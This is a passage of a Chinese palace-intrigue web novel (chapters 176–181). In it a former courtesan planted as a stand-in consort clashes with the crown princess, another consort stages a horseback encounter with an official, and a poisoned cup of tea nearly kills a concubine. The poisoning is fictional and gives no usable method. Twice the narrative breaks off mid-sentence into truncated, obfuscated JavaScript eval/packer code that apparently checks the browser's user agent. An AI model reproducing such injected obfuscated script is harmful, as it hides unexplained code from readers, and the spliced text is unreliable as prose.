“那是叶侧妃的马车。”童芳将她从头到脚扫过,面露鄙夷,“就算两位侧妃同坐一车,后头的也该是诸位良娣奉仪齐坐,你一个通房,也敢腆居主子们之前?真是没规矩!” 云出岫被她骂得脸色青白。 周围那群女人隐隐的窃笑声叫她耳根涨红,火烧一样。 可这几日在东宫,她略微能看清些眉眼高低了——平民百姓对皇权的敬畏也是刻在骨子里的。 她攥了攥手,依旧挺直腰背,冷傲地转身离开。 “她竟都不同侧妃行礼告退?”吕奉仪皱起眉,“可要妾遣人教教她规矩?” 冯书仪面容温和:“无碍,她初入宫中,一时不适应也是有的,我们快些上车吧,不好耽误了时辰。” 吕奉仪这才恭敬应是。 前方车里,崔锦与萧临也听到了这场争吵。 萧临皱起眉,有些不悦:“德妃怎么回事?往日瞧着也是个有成算的,怎送了这么个东西进来?” “美人易得,月光难求啊。” 崔锦淡淡笑着:“**在殿下心中留下那般浓墨重彩的一笔,或许直到如今还存着往昔不可触碰的情意,德妃看在眼里,自然要投其所好,找这么个替身来了。” “……怎么又说起这个了?” 萧临有些心虚,手下给她道了杯茶:“若非你提起,我倒真没注意到那姓云的像**。” 倒完茶,他紧紧揽住崔锦的腰,自后将她抱在怀里,下巴垫在她肩头,侧头在她耳边说道:“我眼里心里都是谁,你不知道?若严格算来,我此生唯一深爱着的人,唯有锦儿你一个而已。” “只有我一个?”崔锦眉梢微挑,显然不信。 萧临却有些认真地点头:“**于我……那时我认为是两情相悦,可转头细细想来,不过只是贪恋她愿为我付出一切的深爱罢了。” “我喜欢的不是她,而是她的爱。” 提起这个,崔锦心中一动:“你……很喜欢旁人对你毫无保留的爱?” 萧临微顿:“或许是因为得到的少,便格外向往吧。” 他泰然自若地提起往事:“晋王幼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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淑贵妃救他是为母天性,可当揭过这一茬后,她最疼爱喜欢的,依然是九皇子。 即便那时他们母子关系已经缓和许多,可平日言行间,总能分出个远近亲疏。 他便不再期待了。 做个孝顺儿子就好。 第一百七十六章 若今夜太子想霸王硬上弓,她决计不从! 崔锦只是曾听长辈提起过此事,具体内情却不知。 此刻听萧临提起,心中也有些复杂。 萧临自幼缺爱,在娴贵妃的鞭策与打骂下长大,那么小的年纪,必然会有阴影,只怕与晋王相伴取暖的时光是他童年仅存的温暖,可偏偏在晋王恢复正常后,他们间的感情也渐渐被利益争端取代。 回了生母身边,刚与淑贵妃的关系有了些缓和,又遇上南疆战乱,十七岁便远赴南疆……可以说,**出现的恰到好处。 她为萧临可以将生死置之度外的付出,暖了萧临的心,叫他觉得自己仍被在意。 **弥补了他心中的空缺,此后便在他心中占据了七年之久的位置。 若非**自己实在不中用,只怕好日子还长着呢。 萧临在感情一事上,素来心软。 崔锦抬起双眸时,眼尾已然泛红,眸中的水光泛起的满是心疼。 萧临顿时心里一暖,紧了紧握着她的手:“都过去了,自有了你与平安他们后,我便不再渴求什么……我想要的,尽已得到了。” 崔锦倚在他怀里,也紧紧抱着他。 她心里还在思忖。 难怪在晋王势弱,不曾出手后,萧临也未曾赶尽杀绝——严格说来,萧临的白月光并非**,而是晋王。 …… 因着今日陪同伴架的德妃中途吐了几回,队伍走得慢了些,直到傍晚时分才抵达京郊猎场。 行宫地方不大,故而他们还是住在别庄里。 萧临还要去面圣,便叫崔锦先回:“晚间我若回的晚,便在前院睡了,你不必等我。” 崔锦含笑应是。 目送萧临离开后,吕奉仪忍不住酸道:“殿下对太子妃可真亲近,连自称都不用,倒显得妾等多余了。” “我们本就多余。”冯书仪笑容不变,“太子与太子妃夫妻一心,名正言顺,我们不过占着东宫的名头才有些身份地位,可实则还是妾,妾本就是多余。” 吕奉仪脸色顿时泛青,但因为说这话的是冯书仪,她连怼回去的勇气都没有。 “微臣见过太子妃。”一道温润清朗的声音响起。 吕奉仪回头看去,是个身着官服,长得格外俊逸的年轻男子,那双似笑非笑含情目看过来时,竟叫人凭空脸红心跳。 像个狐媚子一样。 吕奉仪连忙转过头不再多看。 “表哥怎在这里?”崔锦意外道,“你不去面圣么?” “微臣刚从御前回来,奉德妃娘娘之命,给您送些消晕的果子。”谢长风含笑开口,“德妃娘娘晕了一路,担心您也如此,便留了些心。” “劳德妃娘娘记挂了。”崔锦含笑叫如春手收下。 最后面,听到德妃名字的云出岫抬起头,微微蹙眉。 德妃为什么要给太子妃送东西? 她才是德妃的人,为何要越过她给太子妃? 德妃将她置于何地? 云出岫心里不太舒服,有种被背刺的难受。 那边,崔锦谢过谢长风,他便道了告辞,众人也三三两两的散了。 只有云出岫还站在原地,眼眸忽明忽灭。 回了自己院子梳洗过后,她想了想,带着春云出门散心。 月上梢头,万籁俱寂。 春云不由劝道:“姑娘,您今日颠簸一日,还是快些回去歇息吧。” 云出岫冷了脸:“我何时安寝,需要你一个奴婢做主?” 春云顿时告罪,不敢说话了,扶着她继续在府里逛着。 云出岫有意无意地经过二门处好几回,散步也在这一边散。 她心里紧张,但还是努力说服自己——男人若当真深爱一个女人,怎会连夜里回去陪她都欠奉?太子怕是想偷腥了。 男人就是如此。 她停在这里并非为邀宠,而是想警告太子不要将她当成个玩意儿,她与他后院里那群女人不一样。 她饱读诗书,见过外面的世界,也并不愿被困在这一亩三分地,纵曾为青楼女子,她也有自己的傲骨与心气,而非为个男人与区区情爱荣华就迷失自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面前的萧临一脸凝重,但不知是不是怕吓到她,竟还带着股强行按捺下的温和,全不似这几日面对她的冷漠。 云出岫张了张嘴:“我、我……” 她急得额间冷汗都冒了出来,却不知该如何作答,唇角几乎抽搐。 “你可是有何顾虑?” 萧临皱起眉,猜测道:“是德妃拿捏了你的家人,逼迫你效仿林昭,入东宫接近本宫?她有什么目的?你的家人姓甚名谁,什么模样,本宫派人去救。” 云出岫额间的冷汗滑落侧脸:“我没有家人,德、德妃娘娘也没有强掳我来。” 这话出口的瞬间,她耳根猛地涨红。 德妃兄妹找到她,将她赎出青楼,却未曾对她多说一个字,只叫她彻夜学习林昭的一言一行,她素有傲气,怎甘心为人替身? 更何况没多久就被送进宫,从未有人问过她愿不愿意。 她生出被强掳的想法,不是很正常么? 是他们逼她至此。 可面对萧临,她不敢说出这些事——万一萧临去质问德妃,或是对德妃出手,那她就彻底得罪了德妃兄妹。 她在东宫将彻底孤立无援。 太子妃看她不顺眼很久了,她若没了靠山,太子妃会如何折磨刁难她,不难想象。 甚至可能会直接除掉她这个威胁。 云出岫越想,脸色越是发白,眼眸通红一片,清冷中含着一丝破碎感,像是急等人采摘安抚的娇花。 见萧临面露不耐与厌恶,她心里泛凉,立刻解释:“我如此说,并非为邀宠……我不是你后院那群只为了男人宠爱活着的女人,我读过书,有自己的思想,自己的骨气,也并不愿为人附庸!所以我想告诉你,我绝不会因居于你后院而屈服!你别想强迫我!” 她挺直腰背,一脸不屈地仰头直视萧临。 但眼神还未与他对视,面前人就大步离开。 随着夜风吹来的,只有一句话:“云氏不敬犯上,罚半年月例,百遍佛经,赐教导嬷嬷训诫。” 不是强掳,没有被迫,那还能是因为什么? 他竟还真被这种把戏骗到,以为这姑娘是个蒙冤受屈的! 此刻的萧临只觉得自己脸被打的啪啪响。 后方,云出岫僵在原地,脸上满是不可置信。 太子……竟如此平淡? 她的美貌,她的才情,她的傲骨,在他眼中竟什么都不是? 不对,太子本都打算偷腥的,怎会对她的美貌与身段无动于衷? 难道是有太子妃的人在周围? 她下意识环视四周,正好看到二门处将头收回去的小厮。 云出岫眼中顿时浮起笃定,转身回了自己的院子。 “姑娘……”春云都快哭了,“太子殿下发怒了,我们怎么办啊……” “慌什么慌?”云出岫轻斥,“太子殿下不过是迫于太子妃才不得不按捺下占有我的心思,连罚我也不过是做给太子妃看的。” 她微微抬起下巴,眼神清冷而笃定:“不出三日,他必来我这里。” 男人的心思,不就那么点么? 她早就看透了。 但太子若来,她绝不能叫他得逞! 她可不是后院那群进门就是为了伺候他的无耻女子,她的身子只给懂她的人,若太子做不到与她身心合一,便别想得到她的身子! 春云听得目瞪口呆:“这……也未必吧?以太子妃的家世和太子殿下的强势,实在没必要怕太子妃到这种地步啊……” 专程处置一个通房,用以给太子妃看? 且不说太子妃性情宽厚,一般不会与人计较——就算她真计较,太子也不会无能成这样啊! 这跟赘婿有什么区别? “太子妃是侯府千金,父亲护驾而亡,这等身份还不够太子忌惮顺着吗?”云出岫皱起眉,“更何况她还有个位居一品的老师,百年世家的外家……” 越是如此数过崔锦的后台,云出岫脸色就越难看。 崔锦也不过仗着家世罢了,什么才女,不过都是那群趋炎附势之人吹捧出来的,若给她崔锦的家世,她一定会比她更出色百倍! …… 翌日,众人早早起身去猎场,照旧听永隆帝训话开场。 萧临偏头笑看向崔锦:“锦儿你武艺上佳,要不要一同进林——” 话没说完就被崔锦暗暗掐了一把。 萧临没躲没闪,面露茫然:“我说错话了吗?” 崔锦笑意盈盈:“妾身何时会武功?殿下教的那点三脚猫功夫也敢拿出来现眼吗?” 萧临这才反应过来,忙附和着点头:“你虽没有底子,但学过的那几招倒也胜过普通人了。” 一边说话,他一边扫视周围。 没人听到他们的话。 他松了口气。 总算没给崔锦的秘密露出去。 但他心中却泛起说不清的甜蜜——崔锦那般高深的武功却不露分毫,想也知道是作为底牌存在,恐怕连她家中弟妹都瞒着的。 可她却能全然告知他自己的底牌。 可见亲密与信任。 萧临心中泛起热意,满是喜悦。 在他们随着永隆帝进了猎场后,女眷们也三三两两聚集起来,在猎场外围骑马散心。 “太子妃安。”冯书仪微微屈膝,轻声道,“妾身想去外头散散心。” 崔锦微微点头:“猎场野兽多,你小心些,多带几个人跟着。” “是。” 冯书仪离开后,上马慢慢转去了猎场外一处偏远地方。 童芳小声道:“奴婢已叫人去将那白狐放归林中,它认得路,会引着谢大人往这边来。” 冯书仪轻应一声,眼底满是势在必得。 她本不该用自己冒险,毕竟她的身份敏感,与外男接触更要小心再三,但她实在不信别的女子,她们也未必能完全复制她给的剧本。 而谢长风的脑子何敏锐度,也不能轻忽。 纵然冒险,还是得她自己来。 男主暂时攻不下也就罢了,可男配还能攻不下? 那便枉负她满心先知与这般美貌了。 第一百七十八章 谢长风为何反应截然不同? 冯书仪耐心等了会儿,耳边便传来由远及近的马蹄声。 来了。 她深吸一口气,指尖不着痕迹地收紧缰绳。 下一刻,一只白狐猛然自林间窜出,其后是一匹骏马紧追不舍。 马上的男子身姿挺拔如松,目光锐利,紧锁着前方那只机敏的白狐,手中弓弦半开,全然没注意到刻意躲在树后角落的冯书仪。 就在他策马掠过林边的刹那,冯书仪猛地一夹马腹,胯下白马如同受惊般,不偏不倚地横撞而出! “嘶——” 两匹马惊得同时人立而起! 谢长风反应极快,瞬间勒紧缰绳,稳住马儿。 而冯书仪则发出一声短促的惊呼,身子轻飘飘被甩离马鞍,向后仰倒。 “啊啊啊——” 那一瞬间,她脸上血色尽褪,惊惶失措的眼神下意识地投向谢长风。 谢长风瞳孔微缩,手腕立刻翻转,下一瞬,马鞭便精准地卷住冯书仪的腰,牢牢锁住她的身体,随后运起巧劲儿她放去地上。 一切只在眨眼之间,等冯书仪反应过来后,暗暗咬牙。 谢长风竟谨慎至此,她连他一片衣角都没碰到! 心念电转间,冯书仪一狠心,佯装崴脚,站立不稳之下,竟径直倒去疯起的马蹄下。 “啊啊——”这回她的惊惧全不作假,也的确惊到了谢长风。 他不假思索地收回马鞭,将冯书仪从马蹄之下救出,又因自己的马也在发狂,只能抬腿跳下,一个不察间,冯书仪就撞进了他怀里。 “啊啊——”她脸上满是受惊过度的柔弱,双手紧紧攀上谢长风劲瘦的腰,“你、你做什么?竟惊到了我的马?你想害死我吗?!” 她声音带着毫不作假的颤抖,又掺杂着一丝娇蛮:“还、还敢用鞭子!” “微臣万死!”谢长风立刻请罪。 早在冯书仪站稳的瞬间,他就想后退避开,可不知她是不是惊吓过度,力气极大,他避不开,便犹豫着要不要抬手推开。 可如此又实在冒犯。 “危机已除,还请侧妃放手。”他声音恢复了平日的沉稳,却带着不容错辨的疏离,“方才情急之下多有冒犯,请侧妃降罪!” 冯书仪仰起脸,眼眶微红,像只受惊却又倔强的兔子。 她非但没有松手,反而抱得更紧了些,仿佛他是唯一的浮木。 谢长风微不可察地皱起眉,这回没了顾忌,抬手就要推开她。 此时,冯书仪却率先一步松开他的腰,脸颊通红:“谢长风,你、你放肆!” 谢长风拱手躬身:“微臣该死,但凭侧妃发落!” “哼!你以为我会饶过你吗?!”冯书仪轻哼一声,狠狠盯着他,似乎在想该怎么处置。 可瞧着瞧着,她语气忽然变得不自然了些:“你……你抬起头来。” 谢长风微微抬头,目光却始终低垂。 “……算了。” 片刻后,冯书仪语气缓和了不少,还带着股少女般的娇憨:“看在你长得好看的份上,我便不与你计较了!” 说完,她又话头一转,颇有些蛮横:“不过你得任我差遣一个月!以赎今日冒犯之罪!” 谢长风微微低头:“微臣该死,请侧妃降罪!” 冯书仪微微皱眉,眼底闪过不可置信。 她的台词明明与那女人不差多少,谢长风为何反应截然不同? 仅因她是有夫之妇? 他谢长风若当真是这等古板忠君之人,何来往昔风流韵事,在原书中又如何能力压群臣,不择手段的坐上首辅之位?! 仅仅因为与他相遇的人不同吗? 她不信! 冯书仪彻底将台词抛之脑后,只一意按照自己既定的人设,娇蛮开口:“我说了不计较就是不计较,再敢多话,别怪我不客气!” 她威胁地扬了扬手里的马鞭。 “侧妃!侧妃您在哪?”外头,童芳如时喊起来,佯装寻人模样。 冯书仪顿时烦躁地皱了皱眉,但目光转向谢长风时,又不自然了一瞬,色厉内荏地警告:“今日之事,你若敢透露出去半个字,小心我不客气!” 她装的凶狠,可狠话翻来覆去,也只有一句“对你不客气”。 经过谢长风时,她刻意停顿一瞬,娇蛮的眼神流转间,竟带出一分微不可查的羞涩与装出来的强势霸道。 对上谢长风眼神的瞬间,她恶狠狠瞪了他一眼,迅速离开了。 冯书仪没有回头,但停留在她背后的目光如有实质,叫她心中大定。 只要这一面能引起谢长风探寻的兴趣,她就有把握拿下他! 在身影彻底消失前,她佯装脚软,似乎踩空了一下,顿时有些尴尬,想要回头去看,转到一半又意识到什么,急忙踉跄着脚步离开。 后方,谢长风目光始终停留在冯书仪消失之处。 素来含笑的眸底并非兴趣,而是若有所思。 冯书仪拼尽全力、在心中预演无数次的演技,的确骗过了他——倘若上回在东宫,他没见过这位冯侧妃,不知其秉性的话。 那时虽只遥遥一见,但对他这种心思缜密又足够了解女子的男人来说,实在不难推敲出冯书仪的性格。 容貌甚至周身气息都十分知书达礼,可能在树下盯着他猛瞧,可见其不遵礼教。 心机颇深——在被他回头扫视时,只慌张一瞬便能立刻稳下心神。 但也正因那慌张一瞬,足以令人窥见其心防不高,意志不坚,一些小心思算计普通人够用,但总能露于真正的聪明人之前。 谢长风从不否认自己是个聪明人。 这位冯侧妃强行伪装成与自己性格截然相反的娇蛮模样,还强行与他纠缠那么久,究竟是为做什么? 若只是为接近他,借以对付崔锦,那实在不值当。 ——此时的他还没重要到能叫堂堂东宫侧妃用美人计的地步。 那就是他身上,有她想要的东西? 一个眨眼间,谢长风脑中闪过无数推测,面上却波澜不惊,转身出林。 “公子。”落后不少的侍卫此刻才匆忙赶来,“您——” “不惜一切代价找到那白狐,杀了。”声音依旧温润含笑,闲话家常一般。 冯书仪自己找死,他可不乐意殉莫须有的情。 第一百七十九章 有办法叫清婉回来 冯书仪回去时,崔锦正坐在一处石桌旁,与德妃和几位命妇闲话。 “呀。”德妃眼尖,率先瞧见冯书仪,见她裙摆沾了草屑还有些破损,不由惊讶掩口,“冯侧妃衣裳怎么破了一块?可是方才出去遇到什么事了?” 崔锦闻言,也放下茶盏,转头看来。 冯书仪心下一紧,面上却迅速浮起一层薄红,带着几分窘迫与后怕:“妾身方才在林子边骑马,不慎惊马摔落,幸而只是衣裳破损,人未有大碍。” “惊马?”崔锦眉头微蹙,立刻叫如春去请太医了。 “怎如此不当心?”德妃面露关怀,“出门还是要多带些人,在这猎场尤其该小心着些。” “娘娘说的是。”冯书仪不好意思地笑了笑,“妾身本想在附近走走,便未多带人,未想便就出了事……幸好没有大碍,日后定记得保护自己了。” “冯侧妃自己不当心,出去时禀报了太子妃,怎得太子妃也不当心?” 下首,平安伯夫人温声开口:“这东宫之事,按说臣妇本不该插嘴,可侧妃毕竟身份贵重,又是淑贵妃娘娘的亲侄女,素来饱受疼爱的,太子妃如此疏忽懈怠,若传去旁人耳中,倒要怀疑是否心有嫉妒,蓄意害人了……到底不美啊。” “既知不该插嘴,夫人便该紧闭双唇才是。”崔锦眉梢都未曾动一下,不咸不淡的反讥,“如此明嘲暗讽,若落在旁人耳中,倒要怀疑是否对东宫与本宫心有不满,蓄意挑衅了……到底不美啊。” 平安伯夫人脸色微变,连忙起身屈膝:“臣妇素守本分,绝不敢对东宫与太子妃有任何不满,请太子妃明鉴!” 崔锦笑了笑,端起茶杯细细品了起来。 德妃轻笑一声:“行了,太子妃不过随口之言,你倒敏感得紧。” 冯书仪也淡淡开口:“劳夫人牵挂我安危,但太子妃早便提醒我多待些人,是我自己疏忽,怨不得太子妃,倒是夫人您……若心疼京郊庵堂里的庄侧妃,不必拿我作筏子。” 平安伯夫人被挑明心思,神色尴尬而隐含愤怒:“侧妃多虑了,臣妇当真没有如此念头,叫您误会,确是臣妇的不是。” 她再次屈膝赔罪。 迎着四周隐隐讽笑的目光,她只觉这辈子的脸都在今日丢光了。 她的清婉的确有错,可太子妃不也没被害到么?为何就要如此狠毒,叫她大好年华在庵堂虚度?! 从前她因伯府式微,不敢表露分毫不满,可近日来伯爷跟着晋王办成了几桩好差事,她心中便多了些底气,这才刺她一刺。 可没想到这太子妃竟嚣张至此,演都不演直接怼了回来。 冯侧妃也是个蠢货,竟当真唯太子妃之命是从,以后怕不是要丢了命去! 平安伯夫人面上惶恐,心中却满是不忿。 晋王说过,有办法叫清婉回来…… 届时,太子妃的脸面该往何处搁? 想到这里,平安伯夫人唇角勾起一抹微不可查的笑意,更期待女儿回来了。 崔锦略坐了坐,便带着冯书仪回了别庄。 “妾给太子妃请安,给冯侧妃请安。”云出岫清冷高傲的声音自旁响起。 此时她们正走到廊下,抬眼便见云出岫站在院中小路上,似乎正要往正院去。 “云氏。”冯书仪提醒,“你并非妾,而是通房,该自称奴婢。” 云出岫脸色难看了些。 顿了半晌,她才咬牙,饱受屈辱地点头:“……奴婢知晓了。” 冯书仪唇角微勾。 “你要去正院?”崔锦看她一眼,“可有事寻本宫?” “是。”云出岫昂首抬步,将一本佛经奉上,“这是太子殿下昨夜命奴婢所抄,想是给太子妃祈福,奴婢便给您送来。” 崔锦微愣:“殿下昨夜叫你抄的?” 云出岫眸光微动:“昨夜奴婢在院中散步,偶遇殿下,但奴婢担心太子妃还在等候殿下,便劝殿下莫要叫您久等,殿下……或许是怒了,便罚了奴婢抄经。” 说话间,她一直紧紧盯着崔锦的表情。 见她眼中只闪过诧异,并无丝毫怀疑与难过,顿时眉头微蹙。 她都已经说的这么明白了,太子妃竟还不觉得太子对她并非一心? 当真是蠢! 好色贪腥才是男人本性,她今日特地来提醒太子妃一遭,便是不愿看她沉溺于太子的花言巧语中,迷失自己。 可太子妃竟蠢钝至此! 难怪外界会有那么多太子夫妻情深的传言,太子深情没多少,怕都是太子妃自己营造出来的恩爱假象。 甚至愿意为了那点虚无缥缈的爱,去争宠夺权,去害无辜女子。 她在宫外模仿林昭言行时,曾听说过“雌竞”一词,太子妃便是如此。 “本宫知晓了,你下去吧。”崔锦淡淡吩咐一句就离开了。 云出岫很不喜欢她对待玩意儿一样的语气,可看着崔锦渐渐远去的背影,她又有些怜悯。 “姑娘。”春云忍不住问,“您今日……究竟是想做什么?” 还有九十九本佛经没抄呢! “本是为点醒太子妃,但她……自欺欺人罢了。”云出岫声音清冷,“她自己若不愿醒也就罢了,却不该迁怒我这个无辜之人。” 她明明贵为德妃的人,太子妃却只给她通房这等低贱的位份,还纵容东宫妾室与下人无视侮辱她,若她再不反击,太子妃势必更变本加厉。 今日点不醒太子妃,叫她放不下心中的嫉妒,自己的处境只会更危险。 必须先下手为强。 云出岫紧紧攥了攥双手。 第一百八十章 下毒 云出岫在原地站了许久,眼神明灭不定,反复思量。 直接了当的手段太蠢,痕迹也太重。 太子妃也好,德妃也罢,甚至那个看似高傲无脑的吕奉仪……这群自幼长在深宅大院里的世家女,旁的或许不会,勾心斗角却是个个精通。 她需要一个更干净、更不惹怀疑的切入点。 云出岫压下眼底的深思,准备离开。 但刚转身就看到前方不远处,一个约莫十岁左右的小姑娘迎面走来。 那小姑娘玉雪可爱,一身月白襦裙,精致淡雅,穿戴不俗,身后还跟了不少奴仆,阵仗极大。 云出岫脚步一顿,低声春云:“那是谁?” 春云抬眼一看,赶忙低声回道:“姑娘,那是福阳县主,太子妃的亲妹妹。” 太子妃的妹妹?那也是侯府的千金了。 转眼间,崔钤已走至近前。 见云出岫没有让路的意思,她笑盈盈地歪了歪头,语气自然:“不知是哪位小主?从前在姐姐那里竟未曾见过。” 春云忙屈膝行礼:“回县主的话,我们姑娘是通房云氏,前几日刚入东宫的。” 说话间,她扯着云出岫,低低提醒:“姑娘,快行礼啊。” 云出岫脸上掠过一丝明显的愕然:“我乃东宫妃子,竟还要对一介臣女行礼?” 崔钤的婢女闻言,轻声细语地解释:“我们县主是圣上亲封的正五品县主,品级高过云姑娘,按规矩,您是需要向县主行礼的。” “无妨。”崔钤脸上并无愠色,依旧是那副笑模样,“东宫小主身份不同,无需守那些规矩。” 话落,她道了句告辞便离开了。 云出岫从头到尾膝盖都没弯一下,只微微点头。 “太子妃的妹妹……倒是比她本人看得通透,也更……”她顿了顿,似乎在想一个合适的词,“更聪明。” 春云听得心惊胆战,不敢接话。 “回去抄经吧。”云出岫瞥她一眼。 回去后,春云被撵了出去,云出岫走去妆台前,拿出一个缠丝宝石手镯,用了巧劲儿一按,手镯一侧立刻弹出一颗小药丸。 云出岫握紧药丸,心跳快了些。 这是青楼秘药,空服即催情,可若磨粉掺水,却是致命毒药。 催情的效用……得等到太子与她身心合一后,闺房之乐时玩用,现在该用的,是毒药。 云出岫眼底闪过一抹极浓的怨愤。 她近不得太子妃的身,但还近不得旁人的身,以此嫁祸太子妃吗? 冯侧妃屡屡侮辱轻看于她,这次,她要为自己讨个公道! 她本性温良,从不主动害人,但这也并不意味着她软弱可欺——冯侧妃这种世家女,她见的多了,明面都如此张狂傲慢,背地里只会更不把人当人。 给这种人下毒,她一点心理负担都没有。 冯侧妃还是伯府千金,淑贵妃的亲侄女,等她死了,太子妃靠山再硬又如何?敢与淑贵妃叫板吗? 太子也绝不会再偏向太子妃! 届时,想来太子妃也该认清这个男人的虚伪嘴脸了。 太子妃有祥瑞三胎在,必不会以命偿命……最多被废个位份,或是就此失宠罢了。 等真到看清枕边人的那一日,太子妃会感谢她的。 云出岫眼底光芒明明灭灭,素来清冷的容貌竟泛起一丝柔和的期待。 …… 翌日清晨,云出岫掐着时辰,比平日请安稍迟了片刻才到。 她匆匆走来正殿,对着主位上的崔锦屈膝告罪,声音是一贯的清冷:“奴婢来迟,请太子妃恕罪。” 崔锦神色宽和,并未计较:“无碍,起来吧。” “呦,云姑娘可当真娇贵得紧。”侧方的吕奉仪轻笑一声,话里带刺,“你初来乍到,这规矩是该好好学学,咱们满堂贵人,难道还干等你一个通房不成?不知所谓!” 云出岫垂在袖中的手微微收紧,面上却依旧平静:“谢吕奉仪提点。” 她直起身,依着规矩走向最末的座位。 经过冯书仪时,她宽大的袖口几不可察地轻轻一拂,一抹极淡、近乎无形的异香,借着动作的遮掩,精准地飘入冯书仪刚刚揭开茶盖、热气微腾的杯中。 那异香散得极快,顷刻间便融于茶汤,再无痕迹。 冯书仪微微一顿。 等她再抬头时,云出岫已落座,面无异样。 她身份低微又如何?坐在末尾又如何?这被楼里无数姐妹验证过的隐秘手段,岂是这些高高在上的世家女能想象的? 这药散入空中一瞬便再无踪迹,纵使事后追查,也绝查不到她头上。 云出岫心中得意而不屑,并未察觉到冯书仪陡然冰寒的眼神。 冯书仪没想到她竟有如此胆量,敢将这等下作手段用到自己身上。 但当下不是收拾云出岫的时候,机不可失,这是个好机会! 她不动声色地放下茶盏,抬起眼,笑吟吟地对如春抱怨:“近日不知怎的,忽然就喝不惯这雨前龙井了,只爱君山银针那股清冽劲儿,日后我再来给太子妃请安,如春姑娘可得记着,千万别再给我上这龙井了,免得我牛嚼牡丹,白白糟蹋了好东西。” 如春自是屈膝应下:“奴婢这就给您换上君山银针。” “何须麻烦?”吕奉仪正愁没机会奉承,立刻将自己面前那杯未曾动过的茶往前一推,“巧了不是?妾身正想尝尝雨前龙井呢,这茶还尚未沾口,侧妃若是不嫌弃,便与妾身换换?” 冯书仪一笑:“那倒是正好,也省得如春姑娘再跑一趟了。” 两人聊了两句,便自然的换过了茶。 云出岫眉头微皱,但眼神扫过吕奉仪那张可恨的脸,又不觉得可惜了。 冯书仪只略沾了两口,便放下茶盏。 吕奉仪却为表殷勤,连喝了好几口,含笑道:“还别说,这不常喝雨前龙井的人,乍一入口,的确别有滋味——” 话未说完,她猛地吐出了一大口血。 第一百八十一章 谁家好人随地吐血,还吐黑色儿的? 这突然的一幕震惊了在座所有人。 “呕——” 吕奉仪胃里翻涌的厉害,竟不受控制地再次咳出一大口血,颜色比方才还要浓黑许多。 崔锦猛地站起,厉声朝外喊:“如秋!” 一边喊,她一边快步下去,抬手一掌就拍在了吕奉仪后背。 “啊……呕——” 地上瞬间一片呕吐物。 吕奉仪被打得几乎快把胃汁都吐出来。 她抬眼怨恨地看向崔锦,贱人!竟敢当众害她! 见崔锦又从袖中小瓶中拿出一颗药丸,想塞入自己口中,吕奉仪脸色骤变,使出全身力气推她:“不——你、你别想害、我——” “啪!” 崔锦一把拍下了她的手,趁她张口之际,直接把药丸塞了进去。 不等吕奉仪吐,她劈手夺过冯书仪手边的茶,不停歇地灌进了吕奉仪嘴里。 随着好几声“咕咚咕咚”的吞咽声响起,药丸终于下肚。 吕奉仪心如死灰,怨毒的目光直直扫向崔锦。 若非她中了毒全身无力,早就趁着还有意识,带崔第锦这个贱人一起下去了! “如秋!”崔锦再次喊。 如秋正在小厨房盯着祥瑞三胎的早膳,方才听到喊声就连忙奔出,此时刚匆匆进殿。 一见吕奉仪这模样,她也没再多问废话,立刻从怀里拿出银针,一边探脉一边施针。 吕奉仪还想挣扎,被崔锦拆了腰带,直接绑住了手。 她顿时不敢挣扎了。 一旦动作过大,外衣会散。 即使殿内都是女子,她也丢不起这个人,死都死不清白。 这一切都在眨眼之间,等众人回过神来时,吕奉仪的命已经保住了。 “这……这是中毒吧?”苏玉睁大眼睛,心有余悸地看着吕奉仪。 “废话!”叶挽棠翻了个白眼,“谁家好人随地吐血,还吐黑色儿的?” 苏玉没再说话,只是悄悄后退了些,有些后怕。 其余人亦然。 在东宫太子妃的正殿,戒备森严的地方,竟有人堂而皇之下毒,还成功了,这该是何等手段和心机? 若那人针对的是她们…… 所有人都打了个寒战。 都是闺阁娇养长大的女子,何曾见过如此突兀而触目惊心的场面? 而看着崔锦脸色不变,竟还直接暴力制住吕奉仪,粗暴地救她一条狗命时,她们心中又五味杂陈,心思各异。 “吕奉仪中的毒……很奇怪。”如秋拧眉开口,“奴婢未曾见过这种毒,需得翻阅医书才能确定。” 如春忙道:“我已遣人去请太医了,稍后也叫太医瞧瞧。” 如秋会医的事早在崔锦生产时就隐隐被不少人知晓,今日尽数暴露,倒也无妨了。 冯书仪关心地问:“那吕奉仪人如何?性命可无忧?” 如秋点了点头:“幸而解救及时,又服了解毒丸,能将吕奉仪的毒去上三四成。” “那剩下的六七成呢?”苏玉问。 如秋犹豫一下:“这毒是烈性毒,本该一饮穿肠,药石无医,只是因救的及时才保住一条命,若想彻底解毒……还是请太医定夺吧。” 若只喝上一点,兴许精心医治与休养之下,能好上七八成。 可吕奉仪喝的实在太多了。 能保住命都是她上辈子修来的滔天福气了。 角落里,云出岫眼里闪过一丝可惜。 吕奉仪活着受罪纵然不错,可她留着一条命,太子妃的惩罚就不会重到哪儿去。 吕奉仪可没有伯府千金的家世,更没有做贵妃的姑母,唯一能带给太子妃一些波折的只有一条命,还被救了回来。 云出岫微微蹙眉,心下不悦。 这时,崔锦站起身,指着地上被吕奉仪吐血时不慎打碎的茶杯,问:“你瞧瞧这茶里可有毒?” 如秋看向地上已渐渐变干的茶水,忙拿出银针沾了些,然后抹上特制药粉。 观察片刻,她皱眉摇头:“没有毒。” 众人面面相觑,不太相信。 没吃过猪肉还没看过猪跑吗,何况方才如秋自己都说那是剧毒,定然即刻发作的,若不是茶水,还能是什么? 吕奉仪可没再碰过别的东西。 这如秋……不会是在为正殿脱罪吧? 唯有冯书仪斟酌着问:“会不会并非入口,而是入鼻的毒?” 众人一愣,忙立刻捂起鼻子,有几个都想即刻离开正殿了。 正在此时,太医到了。 如春特地叫人请了三位,既是安众人的心,也是表明正殿不怕查。 三位太医轮流为吕奉仪诊过脉后,说辞与如秋大差不差。 但在他们赶来时,地上的茶已经干了,无法辨别是否有毒。 “这是我方才沾了茶水的银针。”如秋将银针递给太医,“地上的碎瓷应当也能辨别一二。” 她没自己拿碎瓷,而是起身退开,等太医们自己去查看。 但谁也没察觉异样。 